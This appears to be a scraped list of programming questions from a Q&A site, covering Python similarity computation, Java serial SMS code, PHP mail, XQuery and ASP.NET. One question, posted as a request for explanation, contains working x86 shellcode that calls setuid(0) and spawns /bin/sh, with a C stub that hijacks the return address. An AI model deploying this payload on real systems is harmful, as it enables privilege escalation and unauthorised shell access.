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  • Signs to Quit Programming?

    - by acidzombie24
    I was hanging out with two people and one of them had a design book and the other was talking to me about programming and design. He said he had difficulties programming and wondered what are signs that you should not or should stop programming? He wanted to know if he should stick to design and i said i didnt know since i havent seen him do either. How does one know if he or she should quit programming and stick to another discipline? and what are some signs?

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  • Converting python collaborative filtering code to use Map Reduce

    - by Neil Kodner
    Using Python, I'm computing cosine similarity across items. given event data that represents a purchase (user,item), I have a list of all items 'bought' by my users. Given this input data (user,item) X,1 X,2 Y,1 Y,2 Z,2 Z,3 I build a python dictionary {1: ['X','Y'], 2 : ['X','Y','Z'], 3 : ['Z']} From that dictionary, I generate a bought/not bought matrix, also another dictionary(bnb). {1 : [1,1,0], 2 : [1,1,1], 3 : [0,0,1]} From there, I'm computing similarity between (1,2) by calculating cosine between (1,1,0) and (1,1,1), yielding 0.816496 I'm doing this by: items=[1,2,3] for item in items: for sub in items: if sub >= item: #as to not calculate similarity on the inverse sim = coSim( bnb[item], bnb[sub] ) I think the brute force approach is killing me and it only runs slower as the data gets larger. Using my trusty laptop, this calculation runs for hours when dealing with 8500 users and 3500 items. I'm trying to compute similarity for all items in my dict and it's taking longer than I'd like it to. I think this is a good candidate for MapReduce but I'm having trouble 'thinking' in terms of key/value pairs. Alternatively, is the issue with my approach and not necessarily a candidate for Map Reduce?

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  • Increasing coverage with try-except-finally and a context-manager

    - by Daan Timmer
    This is the flow that I have in my program 277: try: 278: with open(r"c:\afile.txt", "w") as aFile: ...: pass # write data 329: except IOError as ex: ...: print ex 332: finally: 333: if os.path.exists(r"c:\afile.txt"): 334: shutil.copy(r"c:\afile.txt", r"c:\dest.txt") I've got all paths covered except for from line 278 to line 333 I got a normal happy-flow. I stubbed __builtin__.open to raise IOError when the open is called with said file name But how do I go from 278 to 333. Is this even possible? Additional information: - using coverage.py 3.4 (only listing 3.5, we can't currently upgrade to 3.5)

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  • whats wrong with the following code

    - by giri
    Hi i am trying to send sms to my mobile using java.When I run the application I am getting the the follwing error. package HelloWorld; import java.io.*; import java.util.BitSet; import javax.comm.*; import java.lang.*; public class SerialToGsm { InputStream in; OutputStream out; String lastIndexRead; String senderNum; String smsMsg; SerialToGsm(String porta) { try { // CommPortIdentifier portId = CommPortIdentifier.getPortIdentifier("serial0"); CommPortIdentifier portId = CommPortIdentifier.getPortIdentifier(porta); SerialPort sp = (SerialPort)portId.open("Sms_GSM", 0); sp.setSerialPortParams(9600, SerialPort.DATABITS_8, SerialPort.STOPBITS_1, SerialPort.PARITY_NONE); sp.setFlowControlMode(sp.FLOWCONTROL_NONE); in = sp.getInputStream(); out = sp.getOutputStream(); // modem reset sendAndRecv("+++AT", 30); // delay for 20 sec/10 sendAndRecv("AT&F", 30); sendAndRecv("ATE0", 30); // echo off sendAndRecv("AT +CMEE=1", 30); // verbose error messages sendAndRecv("AT+CMGF=0", 70); // set pdu mode // sendAndRecv("AT V1E0S0=0&D2&C1", 1000000); } catch (Exception e) { System.out.println("Exception " + e); System.exit(1); } } private String sendAndRecv(String s, int timeout) { try { // clean serial port input buffer in.skip(in.available()); System.out.println("=> " + s); s = s + "\r"; // add CR out.write(s.getBytes()); out.flush(); String strIn = new String(); for (int i = 0; i < timeout; i++){ int numChars = in.available(); if (numChars > 0) { byte[] bb = new byte[numChars]; in.read(bb,0,numChars); strIn += new String(bb); } // start exit conditions // --------------------- if (strIn.indexOf(">\r\n") != -1) { break; } if (strIn.indexOf("OK\r\n") != -1){ break; } if (strIn.indexOf("ERROR") != -1) { // if find 'error' wait for CR+LF if (strIn.indexOf("\r\n",strIn.indexOf("ERROR") + 1) != -1) { break; } } Thread.sleep(100); // delay 1/10 sec } System.out.println("<= " + strIn); if (strIn.length() == 0) { return "ERROR: len 0"; } return strIn; } catch (Exception e) { System.out.println("send e recv Exception " + e); return "ERROR: send e recv Exception"; } } public String sendSms (String numToSend, String whatToSend) { ComputSmsData sms = new ComputSmsData(); sms.setAsciiTxt(whatToSend); sms.setTelNum(numToSend); // sms.setSMSCTelNum("+393359609600"); // SC fixed String s = new String(); s = sendAndRecv("AT+CMGS=" + (sms.getCompletePduData().length() / 2) + "\r", 30); // System.out.println("==> AT+CMGS=" + (sms.getCompletePduData().length() / 2)); // System.out.println("<== " + s); if (s.indexOf(">") != -1) { // s = sendAndRecv(sms.getSMSCPduData() + sms.getCompletePduData() + "\u001A"); // usefull one day? // System.out.println("Inviero questo >>>> " + sms.getCompletePduData()); // if this sintax won't work try remove 00 prefix s = sendAndRecv("00" + sms.getCompletePduData() + "\u001A", 150); // System.out.println("<== " + s); return s; } else { return "ERROR"; } } // used to reset message data private void resetGsmObj() { lastIndexRead = null; senderNum = null; smsMsg = null; } public String checkSms (){ String str = new String(); String strGsm = new String(); strGsm = sendAndRecv("AT+CMGL=0", 30); // list unread msg and sign them as read // if answer contain ERROR then ERROR if (strGsm.indexOf("ERROR") != -1) { resetGsmObj(); return strGsm; // error } strGsm = sendAndRecv("AT+CMGL=1", 30); // list read msg // if answer contain ERROR then ERROR if (strGsm.indexOf("ERROR") != -1) { resetGsmObj(); return strGsm; // error } // evaluate message index if (strGsm.indexOf(':') <= 0) { resetGsmObj(); return ("ERROR unexpected answer"); } str = strGsm.substring(strGsm.indexOf(':') + 1,strGsm.indexOf(',')); str = str.trim(); // remove white spaces // System.out.println("Index: " + str); lastIndexRead = str; // find message string // ------------------- // look for start point (search \r, then skip \n, add and one more for right char int startPoint = strGsm.indexOf("\r",(strGsm.indexOf(":") + 1)) + 2; int endPoint = strGsm.indexOf("\r",startPoint + 1); if (endPoint == -1) { // only one message endPoint = strGsm.length(); } // extract string str = strGsm.substring(startPoint, endPoint); System.out.println("String to be decoded :" + str); ComputSmsData sms = new ComputSmsData(); sms.setRcvdPdu(str); // SMSCNum = new String(sms.getRcvdPduSMSC()); senderNum = new String(sms.getRcvdSenderNumber()); smsMsg = new String(sms.getRcvdPduTxt()); System.out.println("SMSC number: " + sms.getRcvdPduSMSC()); System.out.println("Sender number: " + sms.getRcvdSenderNumber()); System.out.println("Message: " + sms.getRcvdPduTxt()); return "OK"; } public String readSmsSender() { return senderNum; } public String readSms() { return smsMsg; } public String delSms() { if (lastIndexRead != "") { return sendAndRecv("AT+CMGD=" + lastIndexRead, 30); } return ("ERROR"); } } ERROR: Error loading SolarisSerial: java.lang.UnsatisfiedLinkError: no SolarisSerialParallel in java.library.path Caught java.lang.UnsatisfiedLinkError: com.sun.comm.SolarisDriver.readRegistrySerial(Ljava/util/Vector;Ljava/lang/String;)I while loading driver com.sun.comm.SolarisDriver Exception javax.comm.NoSuchPortException

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  • What is the code behind this javascript?

    - by Kat
    Hi, I'm trying to find out how they were able to create this site. http://www.cpeople.ru, i am trying to build my portfolio to look something like it. Particularly, I want the slider effect of the menu. Please help me out. Thanks. :)

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  • Setting exit status when creating core dump

    - by Zitrax
    For example calling exit(100) would exit the application with status 100, and calling raise(SIGABRT) aborts the application with status 134 while creating a core dump. But what if I want the core dump with status 100 or any other arbitrary value. How can I do that ? I know there are several signals that triggers a core dump, but they seem to have fixed exit statuses.

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  • Efficient code to avoid circular references in c# object model

    - by Kumar
    I have an excel like grid where values can be typed referencing other rows To check for circular references when a new value is entered, i traverse the tree and create a list of values referenced thus far, if the current value is found in this list, i return an error thus avoiding a circular reference. This is infrequent enough where extreme performance is not an issue but... Question - is there a better way ? I'm told it's not the most optimal but no answer was provided so on to the experts @ SO :)

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  • C# dbml stops linking tables to code

    - by Philip
    I am having occasional trouble with my C# dbml where it starts not linking properly. I do not know how to replicate the exact cause of the problem, it was working perfectly until I changed a database table and then deleted the table and readded it with the new schema. The error message I get is "The type or namespace name 'tbl' could not be found (are you missing a using directive or an assembly reference?) The only fix I have found is to make a new dbml readd the tables. Any ideas what to do or why this is happening?

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  • ASP: Extend control (ASCX) and access base markup file from subclass code

    - by Pathoschild
    Hello, I'm building form validation controls for our C# ASP application. The bulk of the work is handled by a BaseValidator control (subclassing System.Web.UI.UserControl), which also has the markup for the validation output. This is then extended by subcontrols like PasswordValidator, that provides the Validate method and any extra fields needed by that validator control. (The end goal is to have controls like <uc1:PasswordValidator ControlId="txtPassword" /> which we can plop into any form with minimum duplication.) However, PasswordValidator.ascx.cs cannot access the form elements defined in BaseValidator.ascx; the only way I've found to do so is to duplicate the markup in each subcontrol's *.ascx file. How can I extend BaseValidator.ascx.cs and access BaseValidator.ascx's markup in the subclass?

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  • Regex problem in Java in code sample

    - by JaneNY
    I have job with regex in my expressions: example !(FA1_A.i & FA1_M.i) I have operators ! ( ) & | operands have names [a-zA-Z_]*.[a-zA-Z_] I wrote in Java to split on tokens, but it doesn't split on operators and operands If should be !, (, FA1_A.i, &, FA1_m.i, ) . Can anybody tell me what is wrong ? String stringOpеrator = "([!|&()])"; String stringOperand = "(([a-zA-Z_]*)\\.([a-zA-Z_]*))"; String reg=stringOpеrator+"|"+stringOperand; Pattern pattern = Pattern.compile(reg); Matcher m = pattern.matcher(expression); // System.out.println("func: " + function + " item: " + item); while (m.find()) { int a=m.start(); int b=m.end(); String test=expression.substring(m.start(), m.end()); String g=test; tokens.add(new Token(expression.substring(m.start() , m.end()))); //m = pattern.matcher(expression); }

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  • Converting Luabind to C#?

    - by themarshal
    Has anybody tried converting Luabind to C#? Is such a thing even possible? I've got an application that I want to convert so that it can run in a completely managed environment, but most of the game logic relies upon Lua scripts, and the application uses Luabind to manage the back-and-forth. I'm not familiar enough with Lua or Luabind to know what's involved. Am I on a fool's errand here?

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  • Understanding this Pascal-FC threaded code

    - by dmindreader
    **Program Parcial2; type buffer = channel of integer; var buffers : array [1..2] of buffer; val:integer; process sleeper (id:integer); var i : integer; begin for i:=1 to 10 do begin sleep (random(10*id)); **buffers (id):any;** end; end; process troll; begin **buffers[1]: random(10);** end;** What are buffers(id):any and buffers[1]:random(10) doing?

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  • CGRect in C code

    - by Leif Andersen
    A simple google search for: CGRect + C or CGRect in C brings back only Apple, iPhone, and Objective-C websites. However, I remember hearing that Core Graphics was part of C at my university. Did I hear incorrectly, or is CGRect something that I can use in C, or even C++ as it's Object oriented?

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  • What is model driven development good for?

    - by happyappa
    Microsoft, of Cairo fame, is working on Oslo, a new modeling platform. Bob Muglia, Senior Vice President of Microsoft Server & Tools Business, states that the benefits of modeling have always been clear. In simple, practical terms, what are the clear benefits that Oslo bestows upon its users?

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  • PHP mail send code not working

    - by acctman
    I'm trying to use this coding but its not processing, and its not outputing any errors. function send_email($subject='Activate Your Account', $html_content, $text_content, $headers) { $en['email'] = '[email protected]'; $to = $en['email']; $en['memb_id'] = '39'; $en['confcode'] = '69696969'; $en['user'] = 'couple'; $text_content = "Confirm Your domain.com Account\r\n"; $text_content.= "UserName: " . $en['user'] . "\r\n"; $text_content.= "Activate Your Account by visiting this link below:\r\n"; $text_content.= "http://www.domain.com/confirm/" . $en['memb_id'] . "/" . $en['confcode'] . "\r\n"; $text_content.= "\r\n"; $text_content.= "______________________\r\n"; $text_content.= "Thanks,\r\n"; $text_content.= "Staff"; $html_content = "<html><body><h1>Confirm Your domain.com Account</h1>"; $html_content.= "<p>UserName: " . $en['user'] . "<br>"; $html_content.= "Activate Your Account by visiting this link below:<br>"; $html_content.= "<a href=http://www.domain.com/confirm/" . $en['memb_id'] . "/" . $en['confcode'] . ">http://www.domain.com/confirm/" . $en['memb_id'] . "/" . $en['confcode'] . "</a>"; $html_content.= "</p>"; $html_content.= "______________________<br>"; $html_content.= "Thanks,<br>"; $html_content.= " Staff"; $html_content.= "</body></html>"; $mime_boundary = 'Multipart_Boundary_x'.md5(time()).'x'; $headers = "MIME-Version: 1.0\r\n"; $headers.= "Content-Type: multipart/alternative; boundary=\"$mime_boundary\"\r\n"; $headers.= "Content-Transfer-Encoding: 7bit\r\n"; $body = "This is a multi-part message in mime format.\n\n"; $body.= "--$mime_boundary\n"; $body.= "Content-Type: text/plain; charset=\"charset=us-ascii\"\n"; $body.= "Content-Transfer-Encoding: 7bit\n\n"; $body.= $text_content; $body.= "\n\n"; $body.= "--$mime_boundary\n"; $body.= "Content-Type: text/html; charset=\"UTF-8\"\n"; $body.= "Content-Transfer-Encoding: 7bit\n\n"; $body.= $html_content; $body.= "\n\n"; $body.= "--$mime_boundary--\n"; $headers.= 'From: <[email protected]>' . "\r\n"; $headers.= "X-Sender-IP: $_SERVER[SERVER_ADDR]\r\n"; $headers.= 'Date: '.date('n/d/Y g:i A')."\r\n"; $headers.= 'Reply-To: <[email protected]>' . "\r\n"; return mail($to, $subject, $body, $headers); echo $to; echo $subject; echo $body; echo $headers; }

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  • Explanation of this SQL sanitization code

    - by Derek
    I got this from for a login form tutorial: function clean($str) { $str = @trim($str); if(get_magic_quotes_gpc()) { $str = stripslashes($str); } return mysql_real_escape_string($str); } Could some one explain exactly what this does? I know that the 'clean' var is called up afterwards to sanitize the fields; I.e. $email = clean($_POST['email']);

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  • What is your solution to the FizzBuzz problem?

    - by saniul
    See here Write a program that prints the numbers from 1 to 100. But for multiples of three print "Fizz" instead of the number and for the multiples of five print "Buzz". For numbers which are multiples of both three and five print "FizzBuzz". Disclaimer: I do realize this is easy, and I understand the content of the Coding Horror post I just linked to

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  • Undocumented Mac Calls

    - by Brian Postow
    I'm working on a couple of mac products, and in order to do what I need to do, I'm using some calls to undocumented methods on Mac Classes. Like IKImageView's doRotate:(id) and PDFDocument's (NSPrintOperation *)getPrintOperationForPrintInfo:(NSPrintInfo *)printInfo autoRotate:(BOOL)doRotate; How common is it for Objective C programmers to use methods like this? How do you find out about them (other than Google)? How dangerous is it to use them? Is there a danger other than that Apple will make them no-longer available in some future rev, and so your program will break?

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  • Writing more efficient xquery code (avoiding redundant iteration)

    - by Coquelicot
    Here's a simplified version of a problem I'm working on: I have a bunch of xml data that encodes information about people. Each person is uniquely identified by an 'id' attribute, but they may go by many names. For example, in one document, I might find <person id=1>Paul Mcartney</person> <person id=2>Ringo Starr</person> And in another I might find: <person id=1>Sir Paul McCartney</person> <person id=2>Richard Starkey</person> I want to use xquery to produce a new document that lists every name associated with a given id. i.e.: <person id=1> <name>Paul McCartney</name> <name>Sir Paul McCartney</name> <name>James Paul McCartney</name> </person> <person id=2> ... </person> The way I'm doing this now in xquery is something like this (pseudocode-esque): let $ids := distinct-terms( [all the id attributes on people] ) for $id in $ids return <person id={$id}> { for $unique-name in distinct-values ( for $name in ( [all names] ) where $name/@id=$id return $name ) return <name>{$unique-name}</name> } </person> The problem is that this is really slow. I imagine the bottleneck is the innermost loop, which executes once for every id (of which there are about 1200). I'm dealing with a fair bit of data (300 MB, spread over about 800 xml files), so even a single execution of the query in the inner loop takes about 12 seconds, which means that repeating it 1200 times will take about 4 hours (which might be optimistic - the process has been running for 3 hours so far). Not only is it slow, it's using a whole lot of virtual memory. I'm using Saxon, and I had to set java's maximum heap size to 10 GB (!) to avoid getting out of memory errors, and it's currently using 6 GB of physical memory. So here's how I'd really like to do this (in Pythonic pseudocode): persons = {} for id in ids: person[id] = set() for person in all_the_people_in_my_xml_document: persons[person.id].add(person.name) There, I just did it in linear time, with only one sweep of the xml document. Now, is there some way to do something similar in xquery? Surely if I can imagine it, a reasonable programming language should be able to do it (he said quixotically). The problem, I suppose, is that unlike Python, xquery doesn't (as far as I know) have anything like an associative array. Is there some clever way around this? Failing that, is there something better than xquery that I might use to accomplish my goal? Because really, the computational resources I'm throwing at this relatively simple problem are kind of ridiculous.

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  • eclEmma - full code coverage on class header?

    - by Fork
    Hi, I have a class that starts with: public class GeneralID implements WritableComparable<GeneralID>{ ... } And another that is: public class LineValuesMapper<KI, VI, KO, VO> extends Mapper<LongWritable, Text, Text, IntWritable>{ ... } All methods in these classes are covered. But not their header. The header of both classes gets painted as yellow with EclEmma. Is there anything I can do to fully cover the class header?

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  • using eval in server side code on asp.net page

    - by Sumit Sharma
    <asp:Repeater ID="rptrParent" runat="server"> <ItemTemplate> <li> <a href="<% =ResolveUrl("~/cPanel/UserView.aspx?User=")%><%# Eval("StudentUserName") %>"> <span> <% ProfileCommon pc = new ProfileCommon(); pc.GetProfile(Eval("StudentUserName").ToString()); Response.Write(pc.FirstName + "" + pc.LastName); %> <%# Eval("StudentUserName") %> </span> </a> </li> </ItemTemplate> The following error Databinding methods such as Eval(), XPath(), and Bind() can only be used in the context of a databound control. is coming in this part <% ProfileCommon pc = new ProfileCommon(); pc.GetProfile(Eval("StudentUserName").ToString()); Response.Write(pc.FirstName + "" + pc.LastName); %>

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  • can anyone explain this code to me???

    - by Abed
    //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } can anyone give me a better explanation

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  • Is it naughty to have a large utility file?

    - by banister
    In my C project I have quite a large utils.c file. It is really full of many utilities of different sorts. I feel a bit naughty just stuffing different miscellaneous functions in there. For example it has some utilities related to low level stuff such as a lowercase() function, and it also has some quite sophisticated utilities such as converting to/from different colour formats. My question is, is it very naughty to have such a large utils.c with many different types of utilities in it? Should I break it up into many different kinds of utility files? Such as graphics_utils.c and so on What do you think?

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